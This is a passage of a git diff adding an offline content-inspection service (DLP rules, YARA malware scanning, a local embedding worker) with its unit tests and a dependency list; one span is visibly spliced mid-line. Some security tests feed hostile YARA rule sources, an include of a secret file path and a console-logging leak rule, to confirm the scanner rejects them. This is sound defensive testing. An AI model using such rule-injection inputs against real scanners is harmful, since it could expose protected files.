kernel.GetCurrentProcess.restype=W.HANDLE + kernel.CloseHandle.argtypes=[W.HANDLE] + advapi.OpenProcessToken.argtypes=[W.HANDLE,W.DWORD,ctypes.POINTER(W.HANDLE)] + advapi.GetTokenInformation.argtypes=[W.HANDLE,ctypes.c_int,ctypes.c_void_p,W.DWORD,ctypes.POINTER(W.DWORD)] + token=W.HANDLE();value=W.DWORD();length=W.DWORD() + if not advapi.OpenProcessToken(kernel.GetCurrentProcess(),8,ctypes.byref(token)): + raise RuntimeError('Process token unavailable') + try: + if not advapi.GetTokenInformation(token,29,ctypes.byref(value),4,ctypes.byref(length)) or value.value!=1: + raise RuntimeError('Uncontained parser process rejected') + # TokenCapabilities is TOKEN_GROUPS; no capability SID may be enabled. + advapi.GetTokenInformation(token,30,None,0,ctypes.byref(length)) + if not 4<=length.value<=65536: raise RuntimeError('Capability token unavailable') + capabilities=ctypes.create_string_buffer(length.value) + if not advapi.GetTokenInformation(token,30,capabilities,length.value,ctypes.byref(length)) or ctypes.cast(capabilities,ctypes.POINTER(W.DWORD)).contents.value!=0: + raise RuntimeError('Unexpected parser process capability') + finally:kernel.CloseHandle(token) + + +def main(): + attest_appcontainer() + # Preserve only the broker response pipe; parser/native diagnostics cannot + # contaminate the protocol or leak document content through stderr. + response = os.fdopen(os.dup(sys.stdout.fileno()), 'w', encoding='utf-8', buffering=1) + sink = os.open(os.devnull, os.O_WRONLY) + os.dup2(sink,sys.stdout.fileno());os.dup2(sink,sys.stderr.fileno());os.close(sink) + # No socket listener, deployment credential or filesystem document input. + from engine import MAX_BYTES, inspect_content, scan_download, reference_document, embedding_features + request = json.loads(sys.stdin.buffer.read(MAX_BYTES*2+1)) + data = base64.b64decode(request['data'], validate=True) + if len(data)>MAX_BYTES: raise ValueError('Document exceeds inspection budget') + route = request['route'] + if route == '/inspect': result = inspect_content(data, request['policy']) + elif route == '/scan-download': result = scan_download(data, request['policy']) + elif route == '/reference-document': result = reference_document(data) + elif route == '/embed': result = embedding_features(data) + else: raise ValueError('Unknown inspection operation') + response.write(json.dumps(result, allow_nan=False)) + response.flush() + response.close() + + +if __name__ == '__main__': + try: main() + except Exception: sys.exit(2) diff --git a/apps/inspector/semantic.py b/apps/inspector/semantic.py new file mode 100644 index 0000000..7f16e29 --- /dev/null +++ b/apps/inspector/semantic.py @@ -0,0 +1,177 @@ +"""Pinned offline EmbeddingGemma 2 GGUF worker. No downloads or HTTP inference.""" +import atexit +import base64 +import hashlib +import io +import json +import math +import os +from pathlib import Path +import queue +import re +import subprocess +import threading +import time +import wave + +MODEL_ID="google/embeddinggemma-2" +REVISION="bfcd298762cc34d0357ece5ebdd31791a3a374d8" +DIMENSIONS=768 +PROFILE="document-v1" +RUNTIME_REVISION="b11461" +RUNTIME_BUILD="b11461-no-logits-v1" +MAX_CHUNKS=64 +MAX_LINE=4*1024*1024 +MAX_REQUEST=16*1024*1024 +MODEL_FILES={ + "embeddinggemma-2-Q8_0.gguf":(309855456,"2188ac1deca4b77dffefd603c2776a9d76d9d74ec01841392982ebb840b09135"), + "mmproj-embeddinggemma-2-Q8_0.gguf":(554821024,"c4a8a52691ecef40618438928bdf9e68379b854e24166f292592353db0aab64f")} + + +def verify_file(directory,name,size,digest): + if not isinstance(name,str) or not name or Path(name).is_absolute() or ".." in Path(name).parts: raise ValueError("Invalid local model path") + file=(directory/name).resolve() + if not file.is_relative_to(directory) or not file.is_file() or file.stat().st_size!=size: raise ValueError("Local semantic artifact unavailable") + if not re.fullmatch(r"[0-9a-f]{64}",digest): raise ValueError("Invalid artifact digest") + calculated=hashlib.sha256() + with file.open("rb") as source: + while part:=source.read(1024*1024): calculated.update(part) + if calculated.hexdigest()!=digest: raise ValueError("Local semantic artifact verification failed") + return file + + +def validate_vectors(vectors,expected=None): + if not isinstance(vectors,list) or not 1<=len(vectors)<=MAX_CHUNKS or expected is not None and len(vectors)!=expected: raise ValueError("Invalid semantic vector batch") + for vector in vectors: + if not isinstance(vector,list) or len(vector)!=DIMENSIONS or any(not isinstance(value,(int,float)) or isinstance(value,bool) or not math.isfinite(value) for value in vector): raise ValueError("Invalid semantic output") + norm=math.sqrt(sum(value*value for value in vector)) + if not 0.99<=norm<=1.01: raise ValueError("Semantic output is not normalized") + return vectors + + +def validate_readiness(ready): + if not isinstance(ready,dict) or ready.get("ready") is not True or ready.get("model")!=MODEL_ID or ready.get("dimensions")!=DIMENSIONS or ready.get("runtime")!=RUNTIME_BUILD or ready.get("device")!="cpu" or ready.get("vulkan_module_loaded") is not False: + raise ValueError("Local semantic worker identity mismatch") + + +class NativeSemanticModel: + def __init__(self,directory,worker_path): + self.directory=Path(directory).resolve(); self.worker_path=Path(worker_path).resolve() + manifest_path=self.directory/"model-manifest.json" + if not manifest_path.is_file() or manifest_path.stat().st_size>65536: raise ValueError("Local model manifest unavailable") + manifest=json.loads(manifest_path.read_text(encoding="utf-8")) + if manifest.get("model_id")!=MODEL_ID or manifest.get("revision")!=REVISION or manifest.get("dimensions")!=DIMENSIONS or manifest.get("quantization")!="Q8_0" or manifest.get("runtime_tag")!=RUNTIME_REVISION: raise ValueError("Pinned Google model identity mismatch") + self.model=verify_file(self.directory,*next((name,*value) for name,value in MODEL_FILES.items() if not name.startswith("mmproj"))) + self.projector=verify_file(self.directory,*next((name,*value) for name,value in MODEL_FILES.items() if name.startswith("mmproj"))) + runtime_path=self.worker_path.parent/"runtime-manifest.json" + if not runtime_path.is_file() or runtime_path.stat().st_size>65536: raise ValueError("Verified native runtime manifest unavailable") + runtime=json.loads(runtime_path.read_text(encoding="utf-8")); files=runtime.get("files") + if not isinstance(files,list) or not 1<=len(files)<=64 or not any(item.get("path")==self.worker_path.name for item in files): raise ValueError("Invalid native runtime manifest") + for item in files: verify_file(self.worker_path.parent,item["path"],item["bytes"],item["sha256"]) + # All DLLs load from the private, verified runtime directory. + verified={item["path"].casefold() for item in files} + if any(file.name.casefold() not in verified for file in self.worker_path.parent.glob("*.dll")): raise ValueError("Unverified runtime module") + self.lock=threading.Lock();self.process=None;self.responses=None + atexit.register(self.close) + + def info(self): + return {"model":MODEL_ID,"revision":REVISION,"dimensions":DIMENSIONS,"profile":PROFILE,"artifactFormat":"gguf","quantization":"Q8_0","runtimeRevision":RUNTIME_REVISION,"local":True,"backend":"native-gguf","device":"cpu","modalities":["text","image","audio"]} + + def close(self): + process=self.process;self.process=None + if process is not None: + try: process.kill();process.wait(timeout=3) + except Exception: pass + for stream in (process.stdin,process.stdout): + try: stream.close() + except Exception: pass + + def _read(self,process,responses): + try: + while True: + line=process.stdout.readline(MAX_LINE+1) + if not line or len(line)>MAX_LINE or not line.endswith(b"\n"): raise ValueError() + response=json.loads(line) + responses.put(response,timeout=1) + except Exception: + try: responses.put({"protocolFailure":True},timeout=1) + except Exception: pass + + def _receive(self,timeout): + try: + response=self.responses.get(timeout=timeout) + if not isinstance(response,dict) or response.get("protocolFailure"): raise ValueError() + return response + except Exception: + self.close();raise ValueError("Local semantic worker failed or timed out") from None + + def _start(self): + if self.process is not None and self.process.poll() is None: return + self.close();self.responses=queue.Queue(maxsize=2) + environment={key:value for key,value in os.environ.items() if key.upper() in {"SYSTEMROOT","WINDIR","TEMP","TMP"}} + environment.update({"SEARCHI_FORCE_CPU":"1","GGML_CPU_ONLY":"1","GGML_DISABLE_VULKAN":"1"}) + self.process=subprocess.Popen([str(self.worker_path),"--model",str(self.model),"--threads","2","--device","cpu"], + cwd=str(self.worker_path.parent),stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.DEVNULL, + env=environment,creationflags=getattr(subprocess,"CREATE_NO_WINDOW",0)) + threading.Thread(target=self._read,args=(self.process,self.responses),daemon=True).start() + ready=self._receive(20) + try: validate_readiness(ready) + except Exception: self.close();raise + + def _request(self,request,timeout=30): + payload=json.dumps(request,ensure_ascii=False,allow_nan=False).encode("utf-8")+b"\n" + if len(payload)>=MAX_REQUEST: raise ValueError("Semantic request budget exceeded") + with self.lock: + self._start() + process=self.process + # A blocked pipe write is also bounded and tears down the process. + timer=threading.Timer(timeout,lambda:process.kill() if process.poll() is None else None);timer.daemon=True;timer.start() + try: + process.stdin.write(payload);process.stdin.flush();response=self._receive(timeout) + if response.get("ok") is not True or response.get("device")!="cpu": raise ValueError("Local semantic inference failed") + return response + except Exception: + self.close();raise ValueError("Local semantic inference failed") from None + finally: timer.cancel();payload=None + + def text_vectors(self,text): + if not isinstance(text,str) or not text.strip() or len(text.encode("utf-8"))>1024*1024: raise ValueError("Semantic text budget exceeded") + encoded=text.encode("utf-8");windows=self._request({"op":"windows","text":text,"title":"none"}).get("windows") + if not isinstance(windows,list) or not 1<=len(windows)<=MAX_CHUNKS: raise ValueError("Semantic window budget exceeded") + previous_end=0;parts=[] + for item in windows: + start=item.get("start_byte");end=item.get("end_byte");part=item.get("text") + if not isinstance(start,int) or not isinstance(end,int) or not isinstance(part,str) or start<0 or start>previous_end or end<=previous_end or end>len(encoded) or part.encode("utf-8")!=encoded[start:end]: raise ValueError("Semantic source coverage invalid") + previous_end=end;parts.append(part) + if previous_end!=len(encoded): raise ValueError("Semantic source tail missing") + vectors=[];deadline=time.monotonic()+60 + for index in range(0,len(parts),8): + remaining=deadline-time.monotonic() + if remaining<=0: raise ValueError("Semantic inference budget exceeded") + batch=parts[index:index+8];response=self._request({"op":"documents","texts":batch,"title":"none"},min(30,remaining)) + vectors.extend(validate_vectors(response.get("vectors"),len(batch))) + return vectors + + def image_vectors(self,data): + from PIL import Image,ImageSequence,ImageOps + image=Image.open(io.BytesIO(data));frames=getattr(image,"n_frames",1) + if frames>32 or image.width*image.height*frames>50_000_000: raise ValueError("Semantic image budget exceeded") + vectors=[] + for frame in ImageSequence.Iterator(image): + frame=ImageOps.exif_transpose(frame).convert("RGBA") + background=Image.new("RGBA",frame.size,"white");background.alpha_composite(frame);frame=background.convert("RGB") + scale=min(1,672/max(frame.size));width=max(48,round(frame.width*scale/48)*48);height=max(48,round(frame.height*scale/48)*48) + frame=frame.resize((width,height),Image.Resampling.LANCZOS) + request={"op":"image","projector":str(self.projector),"width":width,"height":height,"data":base64.b64encode(frame.tobytes()).decode("ascii")} + vectors.extend(validate_vectors(self._request(request).get("vectors"),1)) + return vectors + + def audio_vectors(self,data): + import numpy as np + with wave.open(io.BytesIO(data),"rb") as source: + if source.getnchannels()!=1 or source.getframerate()!=16000 or source.getsampwidth()!=2 or not 0MAX_BYTES*2: return self.reply(413,{"error":"Inspection request too large"}) + self.connection.settimeout(30) + request=json.loads(self.rfile.read(length)) + data=base64.b64decode(request["data"],validate=True) + if len(data)>MAX_BYTES: return self.reply(413,{"error":"Content too large"}) + with LOCK: + if self.path not in ['/inspect','/scan-download','/reference-document','/embed']: + return self.reply(404,{"error":"Not found"}) + result=dispatch(self.path,request) + return self.reply(200,result) + except Exception: return self.reply(422,{"error":"Content inspection failed"}) + finally: + if isinstance(request,dict): request.clear() + data=None + def reply(self,status,data): + body=json.dumps(data,allow_nan=False).encode();self.send_response(status);self.send_header("Content-Type","application/json");self.send_header("Content-Length",str(len(body)));self.send_header("Cache-Control","no-store");self.end_headers();self.wfile.write(body) + +if __name__=="__main__": + threading.Thread(target=watch_parent,daemon=True).start() + server=HTTPServer(("127.0.0.1",int(os.environ.get("INSPECTOR_PORT","4311"))),Handler) + server.timeout=30 + print(json.dumps({"port":server.server_address[1],"containment":CONTAINMENT}),flush=True) + server.serve_forever() diff --git a/apps/inspector/test_engine.py b/apps/inspector/test_engine.py new file mode 100644 index 0000000..4cac537 --- /dev/null +++ b/apps/inspector/test_engine.py @@ -0,0 +1,41 @@ +import io +import os +import unittest +import zipfile +from engine import cosine, inspect_content, content_kind + +def policy(): return {"dlp":{"maxBytes":1048576,"rules":[{"id":"secret","kind":"literal","value":"Secret Roadmap"}],"semantic":{"enabled":False}}} + +class InspectionTests(unittest.TestCase): + def test_text_and_binary(self): + self.assertEqual(inspect_content(b"Public information",policy())["decision"],"allow") + self.assertEqual(inspect_content(b"Secret Roadmap",policy())["ruleId"],"secret") + self.assertEqual(inspect_content(b"\xff\x00",policy())["decision"],"block") + def test_office_extraction(self): + output=io.BytesIO() + with zipfile.ZipFile(output,"w") as archive: + archive.writestr("word/document.xml",'Secret Roadmap') + result=inspect_content(output.getvalue(),policy()) + self.assertEqual(result["contentType"],"office");self.assertEqual(result["ruleId"],"secret") + def test_pdf_extraction(self): + from pypdf import PdfWriter + from pypdf.generic import DecodedStreamObject,NameObject,DictionaryObject + writer=PdfWriter();page=writer.add_blank_page(300,300) + font=DictionaryObject({NameObject('/Type'):NameObject('/Font'),NameObject('/Subtype'):NameObject('/Type1'),NameObject('/BaseFont'):NameObject('/Helvetica')}) + page[NameObject('/Resources')]=DictionaryObject({NameObject('/Font'):DictionaryObject({NameObject('/F1'):writer._add_object(font)})}) + content=DecodedStreamObject();content.set_data(b'BT /F1 12 Tf 10 100 Td (Secret Roadmap) Tj ET');page[NameObject('/Contents')]=writer._add_object(content) + output=io.BytesIO();writer.write(output) + result=inspect_content(output.getvalue(),policy());self.assertEqual(result['contentType'],'pdf');self.assertEqual(result['ruleId'],'secret') + def test_semantic_threshold_and_missing_model(self): + p=policy();p['dlp']['semantic']={'enabled':True,'model':'google/embeddinggemma-2','revision':'test-revision','categories':[{'id':'semantic-secret','threshold':.8,'prototype':[1.,0.]}]} + os.environ['EMBEDDING_MODEL_REVISION']='test-revision' + result=inspect_content(b'Confidential paraphrase',p,encoder=lambda *_:[1.,0.]);self.assertEqual(result['ruleId'],'semantic-secret') + result=inspect_content(b'Confidential paraphrase',p,encoder=lambda *_: (_ for _ in ()).throw(ValueError()));self.assertEqual(result['decision'],'block') + def test_cosine_validates(self): + self.assertAlmostEqual(cosine([1,0],[1,0]),1) + with self.assertRaises(ValueError):cosine([0,0],[0,0]) + def test_video_has_no_false_safe_coverage(self): + video=b'\x00\x00\x00\x18ftypisom'+b'\x00'*20 + self.assertEqual(content_kind(video),'video');result=inspect_content(video,policy());self.assertEqual(result['decision'],'block');self.assertFalse(result['coverage']['complete']) + +if __name__=='__main__':unittest.main() diff --git a/apps/inspector/test_security.py b/apps/inspector/test_security.py new file mode 100644 index 0000000..3422123 --- /dev/null +++ b/apps/inspector/test_security.py @@ -0,0 +1,68 @@ +import unittest +from unittest.mock import patch +import io +from engine import scan_download, reference_document, inspect_content + +def policy(source='rule malicious { strings: $a = "MALWARE_TEST_PAYLOAD" condition: $a }'): + return {'security':{'yara':{'enabled':True,'rules':[{'id':'central-malware','source':source}], 'maxScanBytes':1048576}}, + 'dlp':{'maxBytes':1048576,'rules':[],'semantic':{'enabled':False}}} + +class SecurityTests(unittest.TestCase): + def test_real_yara_match(self): + import yara + result=scan_download(b'MZ\x00MALWARE_TEST_PAYLOAD',policy()) + self.assertEqual(result['decision'],'block') + self.assertEqual(result['ruleId'],'central-malware') + self.assertTrue(result['coverage']['complete']) + def test_binary_malware_coverage_separate_from_dlp(self): + data=b'MZ\x00\xffbenign' + self.assertEqual(scan_download(data,policy())['decision'],'allow') + self.assertEqual(inspect_content(data,policy())['decision'],'block') + def test_invalid_or_empty_rules_fail_closed(self): + self.assertEqual(scan_download(b'safe',policy('invalid'))['decision'],'block') + p=policy();p['security']['yara']['rules']=[] + self.assertEqual(scan_download(b'safe',p)['decision'],'block') + self.assertEqual(scan_download(b'safe',{})['decision'],'block') + def test_include_and_console_import_rejected(self): + self.assertEqual(scan_download(b'safe',policy('include "C:/secret"'))['decision'],'block') + self.assertEqual(scan_download(b'safe',policy('import "console" rule leak { condition: console.log("secret") }'))['decision'],'block') + def test_size_failure(self): + p=policy();p['security']['yara']['maxScanBytes']=2 + self.assertEqual(scan_download(b'large',p)['ruleId'],'yara-size-limit') + def test_reference_registration_contains_no_plaintext(self): + text=b'Internal confidential roadmap for new product launch during next quarter' + result=reference_document(text) + self.assertTrue(result['registrationReady']);self.assertTrue(result['fragmentHashes']) + self.assertNotIn('confidential',str(result)) + self.assertFalse(reference_document(b'\xff\x00')['registrationReady']) + def test_training_truncation_never_claims_complete(self): + result=reference_document(' '.join('distinctword'+str(index) for index in range(1200)).encode()) + self.assertEqual(len(result['fragmentHashes']),1000) + self.assertGreater(result['coverage']['fragmentHashesTotal'],1000) + self.assertTrue(result['coverage']['fragmentHashesTruncated']) + self.assertTrue(result['coverage']['extractionComplete']) + self.assertFalse(result['coverage']['complete']) + self.assertFalse(result['registrationReady']) + def test_text_training_does_not_create_temporary_content_files(self): + with patch('engine.tempfile.TemporaryDirectory',side_effect=AssertionError('Raw content persistence forbidden')): + result=reference_document(b'Confidential strategic roadmap contains enough words for fingerprint training') + self.assertTrue(result['registrationReady']) + def test_trained_fragments_block_reformatted_excerpt(self): + text=b'Internal confidential roadmap for new product launch during next quarter' + reference=reference_document(text) + p=policy();p['dlp']['rules']=[{'id':'trained','kind':'fragment-sha256','value':value} for value in reference['fragmentHashes']] + result=inspect_content(b'Introduction. INTERNAL confidential roadmap for new product launch during next quarter. Ending.',p) + self.assertEqual(result['ruleId'],'trained') + def test_real_bundled_ocr_offline_detects_image_secret(self): + from PIL import Image, ImageDraw, ImageFont + image=Image.new('RGB',(1000,180),'white') + ImageDraw.Draw(image).text((30,45),'Secret Roadmap',font=ImageFont.truetype('C:/Windows/Fonts/arial.ttf',60),fill='black') + output=io.BytesIO();image.save(output,format='PNG') + p=policy();p['dlp']['rules']=[{'id':'image-secret','kind':'literal','value':'Secret Roadmap'}] + # Inference and lazy initialization must not enter a model-download path. + with patch('rapidocr.utils.download_file.DownloadFile.run',side_effect=AssertionError('Network model download forbidden')): + result=inspect_content(output.getvalue(),p) + self.assertEqual(result['ruleId'],'image-secret') + self.assertTrue(result['coverage']['complete']) + +if __name__=='__main__':unittest.main() diff --git a/apps/inspector/test_semantic.py b/apps/inspector/test_semantic.py new file mode 100644 index 0000000..5ee5655 --- /dev/null +++ b/apps/inspector/test_semantic.py @@ -0,0 +1,87 @@ +import hashlib +import io +import json +import queue +import tempfile +from pathlib import Path +import unittest +from unittest.mock import patch +from semantic import NativeSemanticModel,validate_vectors,validate_readiness,verify_file,DIMENSIONS,PROFILE,RUNTIME_BUILD +from engine import aggregate_vectors,embedding_features,inspect_content + +def vector(index=0): + result=[0.0]*DIMENSIONS;result[index]=1.0;return result + +class SemanticProtocolTests(unittest.TestCase): + def model(self,windows): + model=NativeSemanticModel.__new__(NativeSemanticModel) + def request(payload,timeout=30): + if payload['op']=='windows':return {'windows':windows} + return {'vectors':[vector() for _ in payload['texts']]} + model._request=request + return model + def test_unicode_windows_cover_exact_source_and_tail(self): + text='Confidential café 中央 secret';encoded=text.encode() + windows=[{'text':text,'start_byte':0,'end_byte':len(encoded)}] + self.assertEqual(self.model(windows).text_vectors(text),[vector()]) + windows[0]['end_byte']-=1 + with self.assertRaises(ValueError):self.model(windows).text_vectors(text) + def test_missing_tail_gaps_and_substitution_are_refused(self): + for windows in [[{'text':'hello','start_byte':0,'end_byte':5}], + [{'text':'hello','start_byte':0,'end_byte':5},{'text':'world','start_byte':6,'end_byte':11}], + [{'text':'altered text','start_byte':0,'end_byte':11}]]: + with self.assertRaises(ValueError):self.model(windows).text_vectors('hello world') + def test_full_window_batch_is_not_silently_truncated(self): + text='a'*65 + windows=[{'text':'a','start_byte':index,'end_byte':index+1} for index in range(65)] + with self.assertRaises(ValueError):self.model(windows).text_vectors(text) + def test_output_dimensions_finite_norm_and_aggregation(self): + self.assertEqual(validate_vectors([vector()]),[vector()]) + for invalid in [[0.0]*768,[1.0]*767,[float('nan')]*768,[float('inf')]*768]: + with self.assertRaises(ValueError):validate_vectors([invalid]) + aggregate=aggregate_vectors([vector(0),vector(1)]) + self.assertAlmostEqual(sum(value*value for value in aggregate),1) + def test_only_exact_hardened_cpu_worker_build_is_accepted(self): + ready={'ready':True,'model':'google/embeddinggemma-2','dimensions':768,'runtime':RUNTIME_BUILD,'device':'cpu','vulkan_module_loaded':False} + validate_readiness(ready) + for changed in [{'runtime':'b11461'},{'runtime':'b11461-no-logits-v2'},{'device':'gpu'},{'vulkan_module_loaded':True},{'dimensions':128}]: + with self.assertRaises(ValueError):validate_readiness({**ready,**changed}) + def test_artifact_hash_size_and_escape_checks(self): + with tempfile.TemporaryDirectory() as directory: + root=Path(directory).resolve();file=root/'artifact';file.write_bytes(b'public model fixture') + digest=hashlib.sha256(file.read_bytes()).hexdigest() + self.assertEqual(verify_file(root,'artifact',file.stat().st_size,digest),file) + with self.assertRaises(ValueError):verify_file(root,'artifact',file.stat().st_size,'0'*64) + with self.assertRaises(ValueError):verify_file(root,'artifact',1,digest) + with self.assertRaises(ValueError):verify_file(root,'../escape',1,digest) + def test_training_features_return_only_vectors_and_metadata(self): + class FixtureModel: + def text_vectors(self,text):return [vector(),vector(1)] + def info(self):return {'model':'google/embeddinggemma-2','revision':'a'*40,'dimensions':768,'profile':PROFILE,'local':True} + with patch('engine.get_model',return_value=FixtureModel()):result=embedding_features(b'Internal secret not to retain in reference data') + self.assertTrue(result['coverage']['complete']);self.assertEqual(result['coverage']['textChunks'],2) + self.assertEqual(len(result['vectors']),2);self.assertNotIn('Internal secret',json.dumps(result)) + def test_category_matching_compares_all_reference_prototypes(self): + policy={'dlp':{'maxBytes':1024,'rules':[],'semantic':{'enabled':True,'model':'google/embeddinggemma-2','revision':'a'*40,'categories':[{'id':'reference','prototype':vector(0),'prototypes':[vector(0),vector(1)],'threshold':.9}]}}} + with patch.dict('os.environ',{'EMBEDDING_MODEL_REVISION':'a'*40}): + result=inspect_content(b'Paraphrased protected concept',policy,encoder=lambda *_:vector(1)) + self.assertEqual(result['ruleId'],'reference') + def test_worker_timeout_kills_and_sanitizes_errors(self): + model=NativeSemanticModel.__new__(NativeSemanticModel);model.responses=queue.Queue() + with patch.object(model,'close') as close: + with self.assertRaisesRegex(ValueError,'timed out'):model._receive(.001) + close.assert_called_once() + def test_worker_private_exception_text_is_never_returned(self): + import threading + class Process: + stdin=io.BytesIO() + def poll(self):return None + def kill(self):pass + model=NativeSemanticModel.__new__(NativeSemanticModel);model.process=Process();model.lock=threading.Lock() + model._start=lambda:None + model._receive=lambda timeout:{'ok':False,'device':'cpu','error':'PRIVATE DOC CONTENT'} + with patch.object(model,'close') as close: + with self.assertRaises(ValueError) as error:model._request({'op':'documents','texts':['public fixture']}) + self.assertNotIn('PRIVATE',str(error.exception));close.assert_called_once() + +if __name__=='__main__':unittest.main() diff --git a/apps/inspector/test_semantic_real.py b/apps/inspector/test_semantic_real.py new file mode 100644 index 0000000..308d049 --- /dev/null +++ b/apps/inspector/test_semantic_real.py @@ -0,0 +1,47 @@ +"""Opt-in operational fixtures using staged real Google weights, CPU only.""" +import io +import math +import os +import unittest +import wave +from engine import get_model,embedding_features,inspect_content,cosine +from semantic import validate_vectors,DIMENSIONS + +@unittest.skipUnless(os.environ.get('SAFETYNET_TEST_NATIVE_SEMANTIC')=='1','Opt in to verified native CPU fixtures') +class NativeCPUFixtures(unittest.TestCase): + @classmethod + def setUpClass(cls):cls.model=get_model() + @classmethod + def tearDownClass(cls):cls.model.close() + def test_real_paraphrase_blocks_and_unrelated_text_allows(self): + reference=embedding_features(b'Our confidential launch plan schedules the new product announcement for next October.') + protected=b'The secret product rollout will be announced in October next year.' + public=b'The public cafeteria menu includes tomato soup and bread.' + related=embedding_features(protected);unrelated=embedding_features(public) + self.assertGreater(cosine(reference['vector'],related['vector']),.8) + self.assertLess(cosine(reference['vector'],unrelated['vector']),.8) + policy={'dlp':{'maxBytes':1048576,'rules':[],'semantic':{**self.model.info(),'enabled':True,'categories':[{'id':'native-reference','prototype':reference['vector'],'prototypes':reference['vectors'],'threshold':.8}]}}} + self.assertEqual(inspect_content(protected,policy)['ruleId'],'native-reference') + self.assertEqual(inspect_content(public,policy)['decision'],'allow') + def test_native_token_windows_cover_long_document_tail(self): + text='Public synthetic office lunch menu and team meeting schedule. '*600+'Final unique coverage marker.' + result=embedding_features(text.encode()) + self.assertGreater(result['coverage']['textChunks'],1) + self.assertTrue(result['coverage']['complete']);validate_vectors(result['vectors']) + def test_native_image_encoder_returns_real_normalized_vector(self): + from PIL import Image,ImageDraw + image=Image.new('RGB',(192,192),'white');draw=ImageDraw.Draw(image) + draw.rectangle((20,20,90,170),fill='blue');draw.ellipse((110,50,175,115),fill='red') + output=io.BytesIO();image.save(output,format='PNG') + vectors=self.model.image_vectors(output.getvalue()) + self.assertEqual(len(vectors),1);validate_vectors(vectors) + def test_native_audio_encoder_returns_real_normalized_vector(self): + import numpy as np + samples=(np.sin(np.arange(16000)*2*math.pi*440/16000)*12000).astype('=1.0.2; python_version < \"3.11\"", + "idna>=2.8", + "typing_extensions>=4.16.0; python_version < \"3.15\"", + "trio>=0.32.0; extra == \"trio\"" + ], + "topLevelPaths": [ + "anyio", + "anyio-4.15.1.dist-info" + ] + }, + { + "name": "click", + "version": "8.5.0", + "requires": [], + "topLevelPaths": [ + "click", + "click-8.5.0.dist-info" + ] + }, + { + "name": "filelock", + "version": "4.1.1", + "requires": [], + "topLevelPaths": [ + "filelock", + "filelock-4.1.1.dist-info" + ] + }, + { + "name": "fsspec", + "version": "2026.9.0", + "requires": [ + "adlfs; extra == 'abfs'", + "adlfs; extra == 'adl'", + "pyarrow>=1; extra == 'arrow'", + "dask; extra == 'dask'", + "distributed; extra == 'dask'", + "pre-commit; extra == 'dev'", + "ruff>=0.5; extra == 'dev'", + "numpydoc; extra == 'doc'", + "sphinx; extra == 'doc'", + "sphinx-design; extra == 'doc'", + "sphinx-rtd-theme; extra == 'doc'", + "yarl; extra == 'doc'", + "dropbox; extra == 'dropbox'", + "dropboxdrivefs; extra == 'dropbox'", + "requests; extra == 'dropbox'", + "adlfs; extra == 'full'", + "aiohttp!=4.0.0a0,!=4.0.0a1; extra == 'full'", + "dask; extra == 'full'", + "distributed; extra == 'full'", + "dropbox; extra == 'full'", + "dropboxdrivefs; extra == 'full'", + "fusepy; extra == 'full'", + "gcsfs>=2026.4.0; extra == 'full'", + "libarchive-c; extra == 'full'", + "ocifs; extra == 'full'", + "panel; extra == 'full'", + "paramiko; extra == 'full'", + "pyarrow>=1; extra == 'full'", + "pygit2; extra == 'full'", + "requests; extra == 'full'", + "s3fs>=2026.6.0; extra == 'full'", + "smbprotocol; extra == 'full'", + "tqdm; extra == 'full'", + "fusepy; extra == 'fuse'", + "gcsfs>=2026.4.0; extra == 'gcs'", + "pygit2; extra == 'git'", + "requests; extra == 'github'", + "gcsfs>=2026.4.0; extra == 'gs'", + "panel; extra == 'gui'", + "pyarrow>=1; extra == 'hdfs'", + "aiohttp!=4.0.0a0,!=4.0.0a1; extra == 'http'", + "libarchive-c; extra == 'libarchive'", + "ocifs; extra == 'oci'", + "s3fs>=2026.6.0; extra == 's3'", + "paramiko; extra == 'sftp'", + "smbprotocol; extra == 'smb'", + "paramiko; extra == 'ssh'", + "aiohttp!=4.0.0a0,!=4.0.0a1; extra == 'test'", + "numpy; extra == 'test'", + "pytest; extra == 'test'", + "pytest-asyncio!=0.22.0; extra == 'test'", + "pytest-benchmark; extra == 'test'", + "pytest-cov; extra == 'test'", + "pytest-mock; extra == 'test'", + "pytest-recording; extra == 'test'", + "pytest-rerunfailures; extra == 'test'", + "requests; extra == 'test'", + "aiobotocore<3.0.0,>=2.5.4; extra == 'test-downstream'", + "dask[dataframe,test]; extra == 'test-downstream'", + "moto[server]<5,>4; extra == 'test-downstream'", + "pytest-timeout; extra == 'test-downstream'", + "xarray; extra == 'test-downstream'", + "zarr; extra == 'test-downstream'", + "adlfs; extra == 'test-full'", + "aiohttp!=4.0.0a0,!=4.0.0a1; extra == 'test-full'", + "backports-zstd; (python_version < '3.14') and extra == 'test-full'", + "cloudpickle; extra == 'test-full'", + "dask; extra == 'test-full'", + "distributed; extra == 'test-full'", + "dropbox; extra == 'test-full'", + "dropboxdrivefs; extra == 'test-full'", + "fastparquet; extra == 'test-full'", + "fusepy; extra == 'test-full'", + "gcsfs>=2026.4.0; extra == 'test-full'", + "jinja2; extra == 'test-full'", + "kerchunk; extra == 'test-full'", + "libarchive-c; extra == 'test-full'", + "lz4; extra == 'test-full'", + "notebook; extra == 'test-full'", + "numpy; extra == 'test-full'", + "ocifs; extra == 'test-full'", + "pandas<3.0.0; extra == 'test-full'", + "panel; extra == 'test-full'", + "paramiko; extra == 'test-full'", + "pyarrow>=1; extra == 'test-full'", + "pyftpdlib; extra == 'test-full'", + "pygit2; extra == 'test-full'", + "pytest; extra == 'test-full'", + "pytest-asyncio!=0.22.0; extra == 'test-full'", + "pytest-benchmark; extra == 'test-full'", + "pytest-cov; extra == 'test-full'", + "pytest-mock; extra == 'test-full'", + "pytest-recording; extra == 'test-full'", + "pytest-rerunfailures; extra == 'test-full'", + "python-snappy; extra == 'test-full'", + "requests; extra == 'test-full'", + "s3fs>=2026.6.0; extra == 'test-full'", + "smbprotocol; extra == 'test-full'", + "tqdm; extra == 'test-full'", + "urllib3; extra == 'test-full'", + "zarr<3.2.0; extra == 'test-full'", + "zstandard; (python_version < '3.14') and extra == 'test-full'", + "tqdm; extra == 'tqdm'" + ], + "topLevelPaths": [ + "fsspec", + "fsspec-2026.9.0.dist-info" + ] + }, + { + "name": "h11", + "version": "0.16.0", + "requires": [], + "topLevelPaths": [ + "h11", + "h11-0.16.0.dist-info" + ] + }, + { + "name": "hf-xet", + "version": "1.7.0", + "requires": [ + "pytest ; extra == 'tests'" + ], + "topLevelPaths": [ + "hf_xet", + "hf_xet-1.7.0.dist-info" + ] + }, + { + "name": "httpcore", + "version": "1.0.9", + "requires": [ + "certifi", + "h11>=0.16", + "anyio<5.0,>=4.0; extra == 'asyncio'", + "h2<5,>=3; extra == 'http2'", + "socksio==1.*; extra 